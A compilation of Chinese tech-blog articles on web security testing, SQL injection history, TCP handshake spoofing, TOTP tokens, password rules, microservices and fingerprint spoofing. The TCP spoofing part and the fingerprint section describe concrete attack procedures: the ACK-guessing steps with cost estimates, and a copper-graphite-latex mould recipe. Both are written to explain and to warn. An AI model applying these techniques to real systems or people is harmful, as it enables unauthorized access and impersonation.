Author: 互联网

近来几年，很多大型网站频发安全事件，比如2011年众所周知的CSDN密码泄露事件，2014年eBay也因受到攻击造成用户密码和个人数据泄露，Web安全逐渐进入人们的视野，安全测试也逐渐成为了软件测试中非常重要的一部分。

提到安全测试，很多人应该都会想到ZAP，ZAP(Zed Attack Proxy)是OWASP提供的一款免费Web安全漏洞扫描工具，用户可以通过设置浏览器和ZAP的Proxy，在开发过程或测试过程中自动检测Web应用程序是否存在安全漏洞，ZAP还会提供扫描结果的风险等级，修复建议以及一些参考文档，下图就是ZAP扫描后的一个用户界面。

除了自动扫描功能，ZAP也支持手动安全测试，通过在数据发送到服务器之前手动修改请求信息来测试Web应用程序是否存在安全漏洞。

很多人会有这样的疑惑，ZAP能否扫描出所有的安全漏洞？ZAP扫描出的安全漏洞和安全等级是否可靠？用了ZAP，软件是不是就安全了？

ZAP局限性

首先虽然ZAP的自动扫描功能非常强大，但对于OWASP Top 10中的某些项或者Top 10以外的一些安全漏洞，想要通过ZAP扫描检测出来是非常困难的，比如Top 10中的A5 “Security Misconfiguration” 就很难通过扫描检测出来，所以ZAP所能扫描到的安全漏洞只是OWASP Top 10的一个子集。

其次，ZAP扫描后的安全报告，还是需要结合实际项目进行分析才能确定其有效性和安全等级，比如我们在项目中曾经用ZAP扫描出了 “Cookie set without HttpOnly flag” 的安全隐患，推荐的解决方案是将所有的Cookie都设置成HttpOnly，但现实的情况是项目中前端AJAX需要携带这个Cookie来给后端发送请求，如果设置了这个flag，那么我们正常的请求也会失败，所以这个漏洞对我们来说就是无效的，或者说我们是不应该修复的。

另外因为Web应用程序往往比较复杂，会有很多组成部分，比如前端、服务器端、数据库等，各层分别使用了不同的框架、语言，而且经常会引入一些第三方的库、框架或者模块，每一个环节都有可能存在安全隐患，所以仅仅依赖ZAP是不够的,比如针对第三方组件的安全测试，就可以借助OWASP提供的另外一款工具Dependency Check。

通过分析实际项目中发现的安全问题,我们发现缺陷大体上如下分布:

安全问题可以归为两大类：

• 一类是比较有共性的，即可以抛开业务上下文，软件之间共通的一些问题，常见的比较严重的安全隐患，如XSS攻击，CSRF攻击等，ZAP可以帮我们扫描出大多数的问题。
• 另一类是针对业务需求的，比如非授权的账户是否不能访问/修改他们没有权限的信息等等，对于这一类问题，离开具体的业务上下文，是很难测试的，因为什么样的用户具有什么样的权限往往是业务领域的知识，换句话说，这一类问题的测试重点是看正常的用户能否按照业务需求所期望地正常使用系统，怎么区分evil user并阻止其对系统的使用和破坏，需要很强的业务背景。

举一个简单的例子，比如一个Web系统有两种角色，管理员和普通账户，业务需求是管理员可以修改所有人的所有信息，普通账户只能看到和修改自己的信息，如果普通账户张三可以通过一些非正常手段修改李四的信息，或者非系统的用户(evil user)通过某些方式可以看到系统内账户的个人信息，这些都是严重的安全缺陷，而且这一类的缺陷所占比率比较大，但是都没有办法通过ZAP扫描出来，也没有办法脱离对业务知识的了解来进行测试。

安全内建

ZAP扫描，针对业务上下文的用户权限测试（不能局限于界面，还要通过其他一些方式比如修改请求）以及evil user的用户场景测试，可以覆盖绝大多数的Web安全缺陷，但是正如我们没有办法将质量注入一个已经成型的产品一样，安全也是同样的道理。

如果我们在软件已经编码完成之后再引入安全检查和测试，那么软件的安全质量已经确定，后期的修复只能解决已经发现的安全漏洞，不能让软件更加安全，而且对于这些安全缺陷，发现得越晚，修复的成本就会越高。

所以为了开发安全质量较高的产品，除了选择好的工具以及增加业务背景下的安全测试，还非常有必要将安全检查和测试提前，在软件开发各个过程中引入安全实践。

微软提出的SDL(Security Development Lifecycle)就是这样的理念，SDL提出了很多软件开发过程中非常好的的安全活动，比如需求分析阶段的“最小权限原则”，开发阶段“弃用不安全的函数”，以及测试阶段可以使用“模糊测试”等等，其核心理念就是将软件安全的考虑集成在软件开发的每一个阶段，从需求，设计，编码，测试，到最后的发布整个过程中，下图是一个简化版的SDL流程图,完整的SDL还包括前期的培训,发布后的响应等:

ThoughtWorks提出的BSI(Build Security In)，即安全内建，强调的也是安全提前的理念，结合敏捷软件开发实践，将安全融入到用户故事的生命周期中，引入安全验收条件， 不同角色（业务人员、开发人员，测试人员以及客户）在用户故事的每个阶段对安全验收条件进行沟通，检查，验证，确保在用户故事交付之前满足了定义的安全验收条件，下图就是用户故事的生命周期图以及在各个阶段哪些角色会参与哪些安全活动的一个简单介绍:

在保证用户故事满足了安全需求的基础上,基于迭代/发布还会有一些整体的功能级别的验证，做到真正的安全内建。

以上两种理念强调的都是把安全作为跟功能一样重要的考虑因素，在软件开发的各个阶段进行沟通和反复验证，很多实践经验也表明，将安全活动作为软件开发过程的一部分来执行，其安全效益要大于临时的或者零散的安全活动。

结论

所以从安全测试的选择来看,我们不能单一依赖某种工具，比如ZAP扫描，而应该多加入一些基于业务需求的安全测试，多从攻击者的角度思考问题，更重要的是，可靠的安全测试只能避免安全漏洞造成更大的危害和影响，并不能打造安全的产品，真正的安全产品必定需要整个软件开发过程中每个环节的保障，需要从业务分析阶段就将安全作为重要的考虑因素，将安全实践融入到整个软件开发过程中，所有角色共同参与，这样才能做到真正的安全内建。

用了ZAP，你的软件就安全了吗？，首发于文章 – 伯乐在线。

内建安全的软件开发，首发于文章 – 伯乐在线。

TalkTalk的信息泄漏事件导致约15万人的敏感信息被暴露，涉嫌造成这一事件的其中一名黑客使用的并不是很新的技术。事实上，该技术的「年纪」比这名15岁黑客还要大两岁。

［译注：TalkTalk是英国电话和宽带供应商，这件信息安全事故发生在2015年10月份，当时这件事情还挺轰动的，上了新闻头条，其中一名黑客年仅15岁。］

这项技术就是大名鼎鼎的SQL注入，所谓SQL注入就是黑客在网站的提交表单数据中输入恶意命令从而获取数据的方法。它曾经被用来窃取世界卫生组织员工的信息，偷过华尔街日报数据，甚至还攻击过美国联邦政府机构。

“这是最简单的黑客技术”，w0rm 告诉 Motherboard［译者注：Motherboard就是这篇文章原文所在网站］，他是一名匿名黑客，声称对华尔街日报的攻击负责。整个攻击过程只用了几个小时。

但是，正因为它是比较简单的技术，同时经常被用来从公司或者政府机构窃取数字信息，所以SQL注入攻击应该相对来说比较容易防范才对。

但为何到了2015年，SQL注入攻击仍然能导致最大规模的信息泄漏事件呢?

有迹可循的最早SQL注入攻击的记录大概是Jeff Forristal在黑客杂志Phrack上发表的文章。Forristal当时是rain.forest.puppy的掌舵人［译者注：rain.forest.puppy是一个安全咨询组织，或者说，是个黑客团队？：）］，他目前在网络安全公司Bluebox，负责移动安全方面的CTO。

“微软声称，你看到的都不是问题，所以不用费心去处理它”

［译者注：这是有人给微软报告SQL server这个漏洞时，微软的回复］

SQL, 全称为结构化查询语言，是一种用来管理数据库的编程语言。本质上说，他就是被网站用来从数据库中提取一些数据来处理或者展示给用户的。

但是Forristal发现，当输入特定的命令时，会导致服务器泄漏信息。“用户可能捎带一些自己的SQL语句”，他写道。

在Phrack的1998年12月份期刊上，Forristal发表了微软的SQL server的一系列SQL注入的问题。当Forristal的同事们向微软反馈此问题时，“他们的回答是：好了，别闹了”，他写道，“他们说，你看到的都不是问题，所依别费心去处理了”

SQL注入发展到今天，已经过去了15年，在OWASP组织每三年发表一次的OWASP的Top 10问题上，SQL注入攻击经常坐上榜首的位置。OWSAP全称是开放式Web应用程序安全项目（Open Web Application Security Project），它是一个监控网站面临哪些安全威胁的非盈利性组织。

Phrack现在的logo

“SQL注入经常是第一威胁，主要反映在相关攻击事件的数量上，同时还有一些其他因素导致它如此频发，” Troy Hunt在Motherboard的一次电话采访中如是说道，Troy Hunt是攻击检测网站haveibeenpwned.com的创始人［译者注：感觉像是一个社工库］。

“当你访问一个网页时，你发出一个请求，然后渲染服务器返回的数据”， Hunt介绍，“举个例子，你看一篇新闻，在地址栏上使用id=‘1’来发出请求时，服务器返回编号为1的文章，把id改成2的时候，服务器返回编号为2的文章”

但是，“使用SQL注入攻击，攻击者可能会将ID字段改成一个其他什么东西，导致服务器做一些意料之外的事情”，Hunt继续说到，比如返回一些隐私数据。

一次攻击也许只返回一条或者一段信息，于是攻击者就“不断重复攻击，一次又一次，想干几次干几次，直到他们获取到所有数据为止”，Hunt说。

显然，这需要一段比较长的时间，所以，黑客一般会使用自动化工具。其中比较具有代表性的事Havij，“这是最流行的脚本小工具，因为它支持Windows操作系统，而且还有个图形界面”， Mustafa AI-Bassam通过在线聊天工具和Motherboard如此描述，他是一名安全研究员，同时还是一名LulzSec黑客组织的前成员。

另一个经常被用到的工具是 sqlmap 。“它可以爬取网站的页面，就像搜索引擎的爬虫，寻找网站中所有输入表单，然后提交一些可能导致MySQL语法错误的数据”， AI-Bassam继续介绍。

当攻击者找到一个攻击点，接下来就很容易自动化开搞了。

sqlmap的界面

“他们会使用Google来搜索那些典型的容易受到SQL注入脚本攻击的URL”， AI-Bassam说。“他们还经常使用脚本来检查所有URL，用自动化的方法来试探是否存在漏洞”

“你甚至可以教一个4岁的孩子来做这种事情［译者注：汗～～我还不如个4岁的孩子］”, AI-Bassam补充道，强调这整个过程简单到令人发指的地步。确实，Hunt就曾经上传过一个视频，视频上显示他是怎么教他3岁的儿子用Havij来实施SQL注入攻击的［译者注：这是真爱啊，我坚决不会让我女儿走上计算机这条不归路］

“你把要攻击的URL输入进来，然后所有数据就出来了”，Hunt向Motherboard介绍道。在YouTube上有太多教程来介绍如何实施SQL注入攻击了。

事实上，已经有很多解决方案被网站开发人员用来防止SQL注入攻击了和避免客户信息或者公司信息泄漏了。而且那些解决方案一经存在好几年了。

所有这些解决方案的核心都是采用“prepared statments” （预编译声明？）: 当SQL语句在数据库中执行是，绝对不能直接执行用户的输入。

如果这些解决方案直接有效，那为何SQL注入攻击还是这么猖獗呢？

“使用prepared staement的好处是它们可以从语义层面上杜绝任何在开发者意料之外的输入，这些输入可以通过构造一些SQL语法，让数据库查询语句从任意一张数据表中获取一条额外的数据”，Mike Schema在给Motherboard的一封email中如此说导，他是雅虎的一名高级经理、软件工程师。

另外一种做法是“使用SQL库对用户输入做一些净化操作”，AI-Bassam建议。简而言之，就是将输入中任何潜在的恶意部分去除掉。

那么，如果SQL注入如此简单，以至于小孩子都能用，而且解决方案又这么直接有效，为什么SQL注入攻击还这么猖獗呢？

“任何一名严谨的程序员都应该知道SQL注入攻击，但是仍然有大量的程序员缺乏经验，所以公司在雇佣某人的是偶，他可能没有受到过任何关于如何消除风险的训练”， AI-Bassam指出。除此之外，“他们的经理们往往只要求开发出能用的软件，而不是安全的软件”。

来自雅虎的Schema也认同这一点，并且补充“有些时候，一些小应用功能有限，要求很快就把东西做出来”，导致开发者经常忽略一些应对各种攻击的工作，尽管他们实施起来也不是很困难。

Hunt不是那么宽容，他也不认同所有的过错都来自于高层管理的压力。相反，他认为现在有网上有这么多教程详细的向开发人员讲解如何避免SQL注入攻击，对，是详细的教程，不仅仅是一些好的建议。“这些年，我看到很多有关如何避免明显的SQL注入风险的教程”，他说到。

随着互联网黑客们不停的在YouTube上分享他们的SQL注入攻击经验，网站的开发者们也没有闲着。“我们有能力的人站出来，分享他们的专业知识，而不仅仅是把自己的事情做好就行了”，Hunt说。

最后，这些网站的安全和他们的数据安全归根到底还是网站开发者自己负责的。这意味着SQL注入攻击和漏洞还会存在，至少在未来一段时间内不会消失。［译者注：估计原作者的意思是安全还是由开发者自己负责，不在于黑客不去攻击，自己开发的时候不注意，还是没办法避免被攻破的～～］

SQL 注入，永不过时的黑客技术，首发于博客 – 伯乐在线。

据我们所知，这种攻击是新发现的。询问一下周围的人，几乎都认为TCP握手会对两侧的IP地址进行验证。这种攻击表明实际上并非如此。

在一个方提斯大学的合作项目中，我和Raoul Houkes研究不同的TCP攻击方式，要不就在协议层面，要不就针对具体的实现。我们发现了一种协议方面的攻击，它可以影响到所有正确的协议实现。

客户端A要与B建立连接，TCP握手的过程是这样的：

A：你好，B。我是A。发送序列号（SYN）是5。
B：你好，A。我是B，确认序列号（ACK）是5，发送序列号（SYN）是3。
A：你好，B。我是A，确认序列号（ACK）是3，发送序列号（SYN）是6。我要请求example.net。
B：你好，A。我是B，确认序列号（ACK）是6.发送序列号（SYN）是4。下面是你请求的结果：……

然后，A和B之间就可以相互通信了。对A或者B而言，每发送一个byte，序列号都会相应地增加。这样就可以跟踪是否所有的数据都被对方接收，保证可靠的传输。

在1981年，这种通讯方式被设计出来的时候，安全并没有那么重要。ARPANET适应单一网络，并且他们需要这样一个发送数据的协议：能够进行出错重传，错误校验，并且可以保持包的有序性等等。TCP解决了所有这些问题。
。
目前，这两个数字域，分别叫做发送序列号(SYN)和确认序列号（ACK），用来保证安全可靠的传输。但是，同时也存在两个问题：

1. 这两个数字域都只有32字节，无法记录更大的数值。
2. 由于它们的双重目的，序号不正确的报文会被丢弃，而不破坏连接。换言之，你可以发送一个ACK不正确的报文，然后再发送一个ACK正确的报文，正确的报文可以被接收。

A向B发送数据包，我们利用上面两个特性来进行攻击，大致过程如下:

A：你好B。我是C。发送序列号（SYN）是5。
B：你好C。我是B。确认序列号（ACK）是5。发送序列号（SYN）是3。
A：你好，B。我是C，确认序列号（ACK）是 1，发送序列号（SYN）是6。我要请求example.net。
B：你好C。我是B，你的报文不正确。请关闭连接。
A：你好，B。我是C，确认序列号（ACK）是2，发送序列号（SYN）是6。我请求example.net。
B：你好C，我是B。这是不正确的。请关闭连接。
A：你好B，我是C，确认序列号（ACK）是3。发送序列号（SYN）是6。我想请求example.net。
B：你好C，我是B，确认序列号（ACK）是6，发送序列号（SYN）是4，以下是你请求的结果……

在上面的案例中，主机A没有收到B的任何消息，B也不知道响应的是一个假的IP地址。主机A伪装成了C的IP地址。

这中攻击的先决条件之一是真正的C没有发送后续报文（或者RST报文），但是这非常容易实现，使用一个并不存在的C(比如0.0.0.0)或者利用防火墙（客户端一般都处于全状态防火墙的后面，或者是NAT, 也或者两者都有）。

B等待C(或者其他客户端)确认消息的时间是有限的。我在Linux4.2内核上做过实验，等待时间是20秒。20秒之后，你需要重新开始（发送下一个SYN），但是这没有什么意义，因为选择的序列号完全是随机的。

这种攻击的成本如何呢？平均而言，平均而言，需要耗费120GB的网络流量（60byte的因特网头，IP头和TCP头的组合）来创建一个虚假连接。也许你很不幸要花费200GB的流量，也可能很幸运只要72GB就够了。

简单调查表明很多VPS系统中1 gbps的带宽花不了多少钱。如果你能充分利用可用带宽，平均而言这种攻击17分钟11秒就够了。

通常你想注入有效载荷，例如，发送一个命令。这个命令需要拼接到已经存在的数据上，使得攻击耗费的流量更大。例如，发送“GET/HTTP/1.0nn”平均下来要花费了152GB或者20分钟。这可以在访问日志中展体现出来，虽然看上去是一个完美的正常连接。

这种攻击的其他案例还包括绕过黑名单或者白名单，比如在某些系统的管理接口上。这从90年代就非常流行，而且现在仍然广泛存在，很多新应用设备还是才用这种方式运行。

概念证明（Proof of concept，简写作PoC）

一个研究项目没有Poc像什么话呢？下面是一些Wireshark的截图，一个dump包，以及用到的代码。

（点击查看大图）

我筛选出了一些192.168.36.17捕获的相关包。第一个包是初始化包，192.168.36.11发送的，伪装的IP是192.168.36.18.。我们的目标主机向虚假IP 192.168.36.18发送响应报文。192.168.36.17开始猜测正确的ACK号。注意，时间从0.x秒增加到8.x秒，这里我把一些尝试过滤掉了。在某一时刻数字从2的32次方（4十多亿）到0，这时因为Wireshark给了我们一个相对的数字。这也意味着我们已经发现了正确的序号。我们向SSH服务器发送确认序列号（ACK）1，服务器收到这个序号后，开始响应。SSH服务器假定拥有的连接都是有效TCP连接。

以下是一些更详细的会话内容：

（点击查看大图）

Server选取的的随机数字是0x0006943f (或者 431167)。

（点击查看大图）

在某一时刻，我们脚本猜测出了0×00069440 (或者 431168)，这是正确的数字，因为我们需要发送我们收到的数字加1。

（查看大图）

SSH服务器对此作出了响应，发送了一个标志有效连接开始的标题报文。

原始dump包只有15秒，因为我只在捕获了日志交替之前15秒的事件。感觉15秒时间并不长，但是这有5 544 384（550万）个包，几乎占领十亿字节的一半。如果你想看一下实际效果，可以运行下面提供的攻击代码攻击。

上面的看到的dump包可以点击下面的链接下载：

spoofed-tcp-connection.pcap

最后，进行攻击的代码也可以点击下面的链接下载：

attack-tcp.py

作为一个真正的PoC，以上代码是为了这个目的而写的，没有考虑可维护性。

结论

这种攻击很难避免，因为这是TCP协议的本身的特性造成的。只能漫无目的的猜测可能被注入的无效ACK，然后将它作为一个关闭连接的理由，但即便如此还是很容易受到攻击。

为了验证一次连接的双方，需要用到附加的安全验证方式例如TLS。即使证书没有被授权，一些加密的TLS会话还是要进行，因为有些附加的数据需要传送到客户端。这使得证明变得不可行。

经验总结：不要使用基于IP地址的授权，不要相信IP地址白名单，当需要安全验证（或者不可可抵赖）的时候考虑使用安全协议。
作为一个真正的PoC，以上代码是为了这个目的而写的，没有考虑可维护性。

如何伪造 TCP 握手？，首发于博客 – 伯乐在线。

有网银的少年们一般都收到过银行给的这样一个令牌，俗称动态口令，在支付的时候输入自己的密码和动态口令上的动态密码，就能完成验证，银行就相信你不是坏人了，今天我们来简述一下这个动态口令令牌是个什么原理。

PS：本篇阅读可能需要读者有一些密码学基础，预警一下。

RSA SecurID SID700

如图的RSA SecurID SID700是当前市面上流行使用的动态口令令牌，在笔者准备资料的过程中发现国内描写动态口令的野生博客有不少谬误，其中大多是对银行这一套认证机制结构的不了解，所以首先要强调的是：

在大众用户手中的动态口令令牌，并不使用任何对称或者非对称加密的算法，在整个银行的认证体系中，动态口令令牌只是一个一次性口令的产生器，在其中运行的主要计算仅包括时间因子的计算和散列值的计算。

动态口令算法又叫一次性口令算法，英文写作OTP(One-Time Password Algorithm), 动态口令令牌使用的算法是OTP中的一类，TOTP(Time-Based One-Time Password Algorithm) — 时间同步型动态口令。

时间同步型动态口令产生口令的时候和时间有关系，我们可以通过其工作的原理图来看一下：

图示给出了动态口令的工作原理，突出了整个认证机制中的动态口令部分，我们可以清楚看到在最左边和最右边有完全相同的两个流程，这里分别代表了用户的令牌卡和银行服务器的验证机器做的工作。本文的重点就在这两个完全相同的流程上。

在用户从银行手中拿到动态口令令牌卡的时候，在令牌卡的内部已经存储了一份种子文件(即图中钥匙所代表的seed)，这份种子文件在银行的服务器里保存的完全一样的一份，所以对于动态口令令牌来说，这种方式是 share secret的。另外在令牌硬件上的设置中，假使有人打开了这个令牌卡，种子文件将会从令牌卡的内存上擦除（待考证）。

令牌卡中有了种子文件，并实现了 TOTP 算法，在预先设置的间隔时间里它就能不断产生不同的动态口令，并显示到屏幕上，而银行服务器上跟随时间做同样的计算，也会得到和令牌卡同样的口令，用作认证。

那么 TOTP 算法具体做了什么操作呢？在 RFC6238 中有详细的算法描述，这里也会做简单的叙述。

TOTP 是来自 HOTP [RFC4226] 的变形，从统筹上看，他们都是将数据文件进行散列计算，只是HOTP的因子是事件因子，TOTP将因子换成了时间因子，具体的TOTP计算公式(其中的HMAC-SHA-256 也可能是 HMAC-SHA-512)：

TOTP = Truncate(HMAC-SHA-256(K,T))

其中： K 为这里的种子文件内容； T 为计算出来的时间因子

公式中的 HMAC是密钥相关的哈希运算消息认证码(Hash-based Message Authentication Code)，HMAC运算利用哈希算法，以一个密钥和一个消息为输入，生成一个消息摘要作为输出。而公式中给出的哈希算法是 SHA-256，这种哈希算法目前并没有好的破解办法。

令牌卡中预先设置了要显示的口令长度，TOTP 中的 Truncate 操作剪切获得口令。

以上就是动态口令令牌卡的内部原理。

几点补充：

1.  时间同步型动态口令对令牌卡和服务器的时间同步要求很高，时间误差会造成整个令牌的失灵，所以每一次用户成功使用令牌认证，服务器都会做相应的时间误差矫正。

2. 种子文件的产生使用了一种AES-128 变形而来的算法， AES-128 也是目前顶尖级的对称加密技术。

3. 目前从加密技术上以及数学理论上整个银行机制的认证系统基本无解。

4. 欢迎勘误。

参考链接：

• how-does-rsa-tokens-work
• TOTP: Time-Based One-Time Password Algorithm

银行的动态口令令牌是什么原理，首发于博客 – 伯乐在线。

我最近读的一篇博文（伯乐在线注：请看本文最后），是关于强制使用更复杂的密码。原作者说这是为了更安全，但我认为这些技术不是最好的方式，比起「实用」来说，显得很麻烦。

问题

你想实施更安全的密码，我懂。但是，

请停止强迫我使用你那糟糕的密码规则 🙁

不让这篇文章那么严肃，我在试图做到这一点。我只是因为那篇文章有了灵感写下我的想法，不是针对作者。总之我是在和每一个在自己的网站和服务器使用这些密码规则的人讲话。我讨厌这些类型的规则：

'password' => [
    'required',
    'confirmed',
    'min:8',
    'regex:/^(?=S*[a-z])(?=S*[A-Z])(?=S*[d])S*$/',
];

密码必须包含 1 个大写字母，1 个小写字母和数字。

有了这样的一个规则，密码 Abcd1234 会通过你的有效性检测，但是 mu-icac-of-jaz-doad 不会。

我知道你大概是想让人们使用随机字符密码，像 i%Mk3c4n，但是你的规则实际上并没有这样执行，这些密码是个麻烦事而且不安全，除非它们足够长——使得它们成为更麻烦的事。打出这些密码很痛苦，尤其是在那些你没有安装密码管理器的手机和计算机上。

其次，使用不安全密码的人依旧会使用愚蠢的密码（比如 Loverboy1964），所以你没有帮助任何人。

停止强迫我使用你专制的规则并鼓励其他人这么做——我的密码是更好呢。

例子

那位博主允许使用的 2 个密码：

下面这两个是那位博主不允许使用的密码：

解决方案

我不知道，但是如果你真的想要执行一些比此列表上的密码更安全的东西，那就不要强制不必要的复杂模式。你的验证规则，还是会让人继续用的原密码中的大部分，只是增加一个大写字母，或两三个数字。

（注1：此处提到的密码列表，里面都是 123456 、password、qwerty 之类的「愚蠢密码」）

相反，为什么不提高密码所需的最小长度，禁止 3 位或更长的数字序列 /[0-9]{3,}/？

你可以在那之后往前走一小步，不允许同样的字符在一行（相邻）重复两次以上 /(.)1{2,}/，而且还没有太多的麻烦。

这将消除大部分的困扰，并不会不必要地限制您的用户密码选择。

更新

更好的是，为什么不忘记所有这些规则，只使用一个最小密码强度要求。

来自 reddit 网友 sarciszewski 的建议：

我不明白为什么那么多人不用 Zxcvbn。

• https://github.com/dropbox/zxcvbn
• https://github.com/bjeavons/zxcvbn-php

我们并不特别关心你的密码包含了什么，只要密码强度估计量足够好就行。想要用2000个’A’构成一个ASCII penis来检测，zxcvbn 不会提醒你密码不包含小写字母不能使用而让你失望。

相关漫画

密码强度 (xkcd)

《在 Laravel 中强制复杂密码的建议》（英文原文）

根据简单优雅的 Laravel 文档，我将快速介绍如何促进用户使用更好的密码。通过 Authentication 的标准文档，我们用一个注册表单来说明。在 Laravel 的 AuthController 中，我稍作了修改。

（伯乐在线补注：Laravel 是一个 PHP Web 开发框架。）

    protected function validator(array $data)
    {
        $messages = ['password.regex' => "Your password must contain 1 lower case character 1 upper case character one number"];
        return Validator::make($data, [
            'name' => 'required|max:255',
            'email' => 'required|email|max:255|unique:users',
            'password' => 'required|confirmed|min:8|regex:/^(?=\S*[a-z])(?=\S*[A-Z])(?=\S*[\d])\S*$/',
        ], $messages);
    }

使用文档 http://php.net/manual/en/function.preg-match.php 和 Laravel 文档的正则表达式规则，我可以设置一个表达式来检查这些字符，我还可以设置一个自定义消息如果失败。

通过这些微小的工作我们可以用一个错误消息来帮助用户设置更好的密码。

我们知道一个产品是否可以正常提供服务，只去确保软件本身没有问题是远远不够的，需要同时保证软件、基础设施（例如硬件、操作系统和运行环境）以及配置的正确性和可靠性。而传统的软件开发方式，对于这三个方面的管理是分离的，再加上三者之间错综复杂的关系，就造成了我们常常挂在嘴边的“环境问题”。但是通过使用容器技术，我们如果将软件、基础设施和配置作为一个整体使用容器进行封装，产生一个个已经同时包含了软件以及其运行环境的经过严格测试检验的“包”。这样当部署“包”的时候就不需要再考虑环境的问题，也不需要关心现在部署的是一个Web服务还是一个数据库服务，要做的只是把一个个容器标准化地安装到指定的容器引擎即可。

可能正是大家都看到了容器技术以及Docker对于软件开发各个领域正在带来的改变，容器技术的生态系统也在经历着一个快速发展的阶段，涉及到开发辅助、集群管理、服务编排、内容发现、云平台搭建等各种工具框架都一一呈现在我们面前，其中像Google和Amazon这样的巨头也都在第一时间发布了各自与容器相关的服务和框架。

微服务及相关工具受到追捧

如果大家关注Docker，也肯定会经常听到一种与之相关的架构，也就是微服务架构：

“微服务架构是一种架构模式，它提倡将单一应用程序划分成一组小的服务，服务之间互相协调、互相配合，为用户提供最终价值。每个服务运行在其独立的进程中，服务与服务间采用轻量级的通信机制互相沟通（通常是基于HTTP协议的RESTful API）。每个服务都围绕着具体业务进行构建，并且能够被独立的部署到生产环境、类生产环境等。另外，应当尽量避免统一的、集中式的服务管理机制，对具体的一个服务而言，应根据业务上下文，选择合适的语言、工具对其进行构建。”

这是Martin Fowler给出的对于微服务架构的定义，其中提到了微服务架构的四个特点：

• 将单一的应用程序划分成一组小的服务
• 每个服务运行在其独立的进程中
• 轻量级的通信机制
• 独立的部署到生产环境

我看过很多非常成功的公司在分享其系统架构演进历程时，往往最后都会落脚于服务拆分和业务服务化。其实这也不算是什么新的概念了，几年前流行的SOA面向服务架构就已经为我们描绘了一个服务化架构的美好前景。那为什么又提出了一种新的微服务架构呢？对于这个问题Martin Fowler在他的那篇《Microservices》也给出了他的回答。简要来说就是虽然这两种技术都是以服务化和组件化为目标，但是架构理念和技术策略上有太多的不同。例如上边提到的微服务架构的主要特点以及其倡导的演进式架构设计，去中心化的架构风格，采用轻量化通信机制，强调独立部署等都是与SOA所提倡的技术和思路有很大区别。微服务架构也更契合现代的技术发展趋势，例如RESTful API的流行，嵌入式应用服务器的应用，持续集成、持续交付的普及，容器技术爆发，组件化的趋势，云平台的发展等。

在引入微服务架构前，系统往往是以一个大的单体应用的形式存在的。此时任何功能的修改都需要重新构建部署整个应用，并且当需要水平扩展时也只能通过扩展整个应用的方式进行，无法做更细粒度的调度和控制。而当切换成微服务架构后，单一功能的修改只需要重新构建部署相应地服务即可，其他服务并不会受到影响。如果某个服务需要水平扩展时，我们也只需要扩展此服务即可。由此可见，微服务架构相比于传统的单体应用架构，可以极大的提高我们的资源利用效率和系统弹性。再加上通过服务化我们可以更容易的以组件的方式组合和重用现有服务，快速地构建出新的服务，使企业和产品更具竞争力。

微服务架构还有很多其他的好处：例如我们可以为不同的服务使用异构的技术架构，用最适合的技术解决最适合的业务问题（例如在某些服务中使用关系型数据库，而在某些服务中使用NoSQL数据库）；相对于单体应用因为每个服务都更小更简单，所以维护难度和成本也会比传统的大的单体应用要低得多；还有根据康威定律，这种新的服务架构甚至会改变我们软件开发的组织方式向小而精的多功能自组织团队和全栈式演进，前段、后端、运维、DBA这种角色划分方式也许也会因此而成为历史。

微服务架构之所以经常会和容器技术一起被提及，是因为容器技术为微服务架构提供了一个非常匹配的基础设施，从而可以将这种架构的威力最大化的激发出来。设想一下，假如我们有一个产品采用微服务架构，并将每类服务及其运行环境打包为容器，部署于像AWS ECS这类弹性容器服务里。就可以实现通过实时监控每类服务的负载情况，通过自动化的方式快速按需对每类服务基于容器技术进行快速高效的水平扩展或是撤销，这样我们的架构就是一个高度自动化、高弹性、高资源利用率的应用架构，相比于传统的单体应用也将具备很大的竞争优势。

有得必有失，微服务架构有着这么多的好处，但同样也会引入一些新问题，最直接的就是分布式本身所引入的复杂性。例如如何保证服务间的契约，如何快速开发服务，如何保证轻量级通讯协议的可靠性等等。对于这些问题也有着相对应的解决方案，本期雷达就推荐了很多的工具和技术来辅助进行微服务架构下的软件开发。

雷达 : 关于技术趋势的分析报告，首发于博客 – 伯乐在线。

密码就是一坨翔。没有人会挑选一个好的密码，就算他们好不容易选了一个不错的，也会在所有的网站上都使用这个密码；就算你用了一个可以信赖的密码管理软件，它也会被人破解。不过你知道比密码更烂的是什么吗？那就是指纹。指纹的问题多如牛毛，你在任何时候都不应该用它来取代密码。

密码应该是保密的，就像你小时候养的宠物的名字。相比之下，你带着手指头到处晃悠，它们几乎在任何时候都是暴露在外的。当你的密码被泄露了，一般很容易就换个新密码。可你不想换个手指头吧？最后，也是最为重要的，你希望密码是经过哈希处理的，这样就算密码数据库被盗，不法之徒也无法获取你的密码。

在本文剩下的篇幅中，我会分别介绍以上三个方面的内容，希望能说服你相信，从根本上说用指纹比用密码要糟糕得多。（你听信苹果和谷歌的忽悠？不，我想你不会的。）

指纹并不保密

首先，使用指纹取代密码最明显的问题，就是指纹压根就不是保密的。想想你在影视剧里面看到的：警察在向坏蛋问话的时候，递给了他一杯咖啡，然后把这个杯子送到法医实验室，就搞到了他的指纹。案件侦破！

但实际情况会更糟。你的指纹到处都是。可以从纸张、键盘和桌子表面上提取到指纹。你不会把你的密码写在便签纸上，然后贴到工位的显示器上，对吧？可如果你的工作需要使用指纹来进行身份认证，那这个密码可能已经留在你的显示器上了。

德国黑客 Jan Krissler（网名 starbug），只要一有机会就会向别人灌输这个概念。 iPhone 5 touchID 系统刚发布的时候，starbug 就开始垂涎三尺了。他立刻买了一台，鼓捣了两天后，他证明自己能在苹果店门口排队的人群散去之前，就能骗过指纹读取器。starbug 在接受 Ars Technica 采访的时候， 抱怨说这也太容易了。来自苹果的匿名人士表示，他们原本预期这个过程会花上两个月，而不是两天。

如何仿造指纹

他用来仿造指纹的技术超级简单。他复制了一个指纹，然后把它蚀刻在铜片上（和制作印刷电路板一样），在蚀刻上喷一层石墨，最后在上面盖上一层木胶或者乳胶。在铜片被蚀刻掉的地方，胶水加石墨的指模会更深，这用来模拟你手指上纹路。石墨涂层和手指一样拥有电容的特性。如果再用上和皮肤颜色相同的乳胶，你就做出了一个像碟中谍电影里一样的东西，成本只有 5 美元加上一个下午的时间。而你需要的只是从杯子或者书本上提取一张质量好点的指纹图片。

从照片中提取指纹

别在你的照片中露出指纹。从一张记者招待会的照片中，starbug 复制出了 Ursula von der Leyen（德国国防部长）的指纹。不管这个指纹是不是真的能控制整个德国的军队，反正你明白这个意思了；希望他们真的别用指纹来当密码。

